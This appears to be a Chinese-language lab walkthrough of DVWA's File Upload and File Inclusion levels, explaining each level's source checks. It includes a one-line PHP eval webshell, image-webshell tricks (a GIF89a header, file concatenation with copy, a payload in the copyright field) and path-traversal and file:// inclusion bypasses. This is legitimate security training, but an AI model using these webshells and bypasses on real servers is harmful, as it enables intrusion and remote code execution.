DVWA–File Upload+DVWA–File Inclusion
文章目錄
- DVWA--File Upload+DVWA--File Inclusion
-
- Low
- Medium
- High
-
- 圖檔木馬制作
-
-
- 方法一:GIF89a
- 方法二:圖檔合并
- 方法三:版權資訊
-
- Impossible
- DVWA--File Inclusion
-
- 相關配置
- Low
- Medium
-
-
- 本地檔案包含
-
- High
- Impossible
Low
檢視源碼
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPB9ENrRlTzEEVNFDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL4MDO3UzNzITM0ITMwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
就是簡單的修改檔案路徑至…/…/hackable/uploads/ ,但是并未對檔案進行任何過濾,那麼我們試試上傳一句話木馬吧!
上傳成功
使用工具 中國蟻劍
Medium
檢視源碼
限制了Mime類型隻能是image/jpg與image/png.
方法一:上傳一句話木馬 1.php ,抓包修改Content-Type
方法二:上傳一句話木馬 1.png ,抓包修改為 1.php
以方法二為例:
High
檢視源碼
strrpos(string,find,start)函數:
string 必需。規定被搜尋的字元串
find 必需。規定要查找的字元
start 可選。規定在何處開始搜尋
傳回值:傳回字元串在另一字元串中最後一次出現的位置,如果沒有找到字元串則傳回 FALSE。
注釋: 字元串位置從 0 開始,不是從 1 開始。
相關函數:
stripos() - 查找字元串在另一字元串中第一次出現的位置(不區分大小寫)
strpos() - 查找字元串在另一字元串中第一次出現的位置(區分大小寫)
strripos() - 查找字元串在另一字元串中最後一次出現的位置(不區分大小寫)
strtolower(string)函數:
把所有字元轉換為小寫
substr(string,start,length)函數:
傳回字元串的一部分
string 必需。規定要傳回其中一部分的字元串
start 必需。規定在字元串的何處開始
length 可選。規定要傳回的字元串長度。預設是直到字元串的結尾
傳回值:傳回字元串的提取部分,如果失敗則傳回 FALSE,或者傳回一個空字元串
getimagesize() 函數:
會測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像檔案的大小并傳回 圖像的尺寸 以及 檔案類型 及圖檔 高度 與 寬度
成功傳回一個數組,失敗則傳回 FALSE 并産生一條 E_WARNING 級的錯誤資訊
getimagesize( $uploaded_tmp ) 相當于檢驗了上傳檔案的内容,檢測其是否真的是一張圖檔。此時就不能直接上傳一句話木馬了。
圖檔木馬制作
方法一:GIF89a
GIF89a
<?php
phpinfo();
?>
方法二:圖檔合并
圖檔合并:
指令:
copy 1.jpg/b+phpinfo.php/a hack.jpg
将圖檔1.jpg 以二進制的方式打開,與.php 檔案phpinfo.php進行合并(相當于将php檔案内容寫入圖檔檔案),轉換為ascii碼值,重命名為hack.jpg
方法三:版權資訊
圖檔右鍵->屬性->詳細資訊->版權中寫入
<?php eval($_POST['aaa']); ?>
方法一示例:
在File Inclusion–Low下利用:
Impossible
uniqid():
生成一個唯一的 ID
ini_get():
取環境變量的值
imagecreatefromjpeg():
由檔案或 URL 建立一個新圖象
imagejpeg (image,filename,int quality)
從 image 圖像以 filename 為檔案名建立一個 JPEG 圖,。image 參數是 imagecreatetruecolor() 函數的傳回值。
對上傳的檔案進行了重新建立,重新命名并且加密,同時也阻止了00截斷與csrf漏洞
DVWA–File Inclusion
相關配置
本地檔案包含 (LFI):可以讀取與打開本地檔案
遠端檔案包含 (RFI)(HTTP,FTP,PHP僞協定):可以遠端加載檔案
php.ini檔案:
本地:allow_url_fopen=On/Off
遠端:allow_url_include-On/Off
Low
檢視源碼
沒有任何過濾,并且可以發現點選每個檔案後,其url中參數随之變化,那我們直接按照思路繼續在url上進行操作,更改為4
再往後發現檔案已經不存在了
Medium
檢視源碼
1.對遠端檔案包含進行了過濾
2.對…/的使用進行了過濾
解決:雙寫繞過
本地檔案包含
包含不存在檔案擷取路徑
建立如下本地檔案
通路
?page=..././mytest/phpinfo.php
?page=D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\mytest\phpinfo.php
High
檢視源碼
fnmatch(pattern,string,flags)函數:
根據指定的模式來比對檔案名或字元串
pattern 必需。規定要檢索的模式
string 必需。規定要檢查的字元串或檔案
flags 可選
要求包含的檔案必須以 file 開頭
那可通過file協定包含本地檔案
?page=file://D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\mytest\phpinfo.php
Impossible
檢視源碼
将包含的檔案名寫死了,隻能是file1.php,file2.php,file3.php